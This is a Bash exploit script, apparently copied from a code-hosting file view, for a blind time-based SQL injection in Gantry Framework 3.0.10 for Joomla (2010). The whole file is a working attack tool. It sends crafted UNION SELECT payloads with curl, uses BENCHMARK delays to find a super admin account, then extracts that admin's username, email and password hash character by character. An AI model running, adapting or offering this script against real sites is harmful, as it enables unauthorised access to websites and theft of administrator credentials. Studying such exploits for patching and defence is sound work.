140 lines
No EOL
4.3 KiB
Bash
Executable file
140 lines
No EOL
4.3 KiB
Bash
Executable file
#!/bin/bash
|
|
# Exploit Title: Gantry Framework 3.0.10 (Joomla) Blind SQL Injection
|
|
Exploit
|
|
# Date: 4 September 2010
|
|
# Author: jdc
|
|
# Software Link: http://www.gantry-framework.org
|
|
# Version: 3.0.10
|
|
# Patched: 3.0.11
|
|
if [ "$1" == "" ]
|
|
then
|
|
echo "$0 usage: $0 url [debug]"
|
|
echo ""
|
|
exit 1
|
|
fi
|
|
clear
|
|
echo "##############################################################"
|
|
echo "## Gantry Framework 3.0.10 Blind SQL Injection Exploit ##"
|
|
echo "##############################################################"
|
|
echo ""
|
|
echo " Probing target $1 ..."
|
|
echo ""
|
|
GANTRY_PATH="$1/index.php"
|
|
GANTRY_TIMEOUT="5"
|
|
GANTRY_DELAY="10"
|
|
GANTRY_AGENT='Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)'
|
|
GANTRY_DATA="option=com_gantry&tmpl=gantry-ajax&model=module&moduleid="
|
|
GANTRY_BENCHMARK="10000000"
|
|
GANTRY_ADMIN_ID=""
|
|
GANTRY_OUTPUT=""
|
|
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16"
|
|
GANTRY_TEST=`curl -s -A "$GANTRY_AGENT" -d "$GANTRY_DATA$GANTRY_EXPLOIT"
|
|
"$GANTRY_PATH"`
|
|
GANTRY_REQUESTS="1"
|
|
if [ "Direct access not allowed." != "$GANTRY_TEST" ]
|
|
then
|
|
echo $GANTRY_TEST
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo "!! Site not vulnerable. Bailing! !!"
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo ""
|
|
echo "$GANTRY_REQUESTS requests"
|
|
echo ""
|
|
exit 1
|
|
fi
|
|
echo -n " Trying to get a super admin id... "
|
|
for N in `seq 62 9999`
|
|
do
|
|
|
|
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$N),BENCHMARK($GANTRY_BENCHMARK,MD5(1)),16)"
|
|
GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w
|
|
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d
|
|
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"
|
|
GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`
|
|
if [ "" != "$2" ]
|
|
then
|
|
printf "$N"
|
|
echo " $GANTRY_TIME"
|
|
fi
|
|
if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]
|
|
then
|
|
GANTRY_ADMIN_ID="$N"
|
|
break
|
|
fi
|
|
sleep $GANTRY_DELAY
|
|
done
|
|
if [ "" == $GANTRY_ADMIN_ID ]
|
|
then
|
|
echo "FAILED!"
|
|
echo ""
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo "!! Injection FAILED! !!"
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo ""
|
|
echo "$GANTRY_REQUESTS requests"
|
|
echo ""
|
|
exit 1
|
|
fi
|
|
echo $GANTRY_ADMIN_ID
|
|
echo " Fetching admin info (this WILL take a while)... "
|
|
echo ""
|
|
echo -n " > "
|
|
for I in `seq 1 250`
|
|
do
|
|
GANTRY_LENGTH=`echo "$GANTRY_OUTPUT" | wc -c`
|
|
GANTRY_CONTINUE=0
|
|
#a,d,m,i,n,b-c,e-h,j-l,o-z,A-Z,0-9,special chars
|
|
for J in `seq 97 97;seq 100 100;seq 109 109;seq 105 105;seq 110
|
|
110;seq 98 99;seq 101 104;seq 106 108;seq 111 122;seq 65 90;seq 48
|
|
57;seq 32 47;seq 58 64;seq 91 96;seq 123 126`
|
|
do
|
|
if [ 1 == $GANTRY_CONTINUE ]
|
|
then
|
|
continue
|
|
fi
|
|
sleep $GANTRY_DELAY
|
|
|
|
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$GANTRY_ADMIN_ID%20AND%20ASCII(SUBSTRING(CONCAT(username,0x3a,email,0x3a,password),$I,1))=$J),BENCHMARK(10000000,MD5(1)),16)"
|
|
GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w
|
|
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d
|
|
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"
|
|
GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`
|
|
if [ "" != "$2" ]
|
|
then
|
|
printf "\x$(printf %x $J)"
|
|
echo " $GANTRY_TIME"
|
|
fi
|
|
if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]
|
|
then
|
|
LETTER=`printf "\x$(printf %x $J)"`
|
|
GANTRY_OUTPUT="$GANTRY_OUTPUT$LETTER"
|
|
GANTRY_CONTINUE=1
|
|
if [ "" == "$2" ]
|
|
then
|
|
echo -n "$LETTER"
|
|
fi
|
|
fi
|
|
done
|
|
GANTRY_LENGTH2=`echo "$GANTRY_OUTPUT" | wc -c`
|
|
if [ "$GANTRY_LENGTH" == "$GANTRY_LENGTH2" ]
|
|
then
|
|
break
|
|
fi
|
|
done
|
|
echo ""
|
|
if [ "$GANTRY_OUTPUT" == "" ]
|
|
then
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo "!! Injection FAILED! !!"
|
|
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
|
|
echo ""
|
|
echo "$GANTRY_REQUESTS requests"
|
|
echo ""
|
|
exit 1
|
|
fi
|
|
echo ""
|
|
echo "$GANTRY_OUTPUT"
|
|
echo ""
|
|
echo "$GANTRY_REQUESTS requests"
|
|
echo ""
|
|
exit 0 |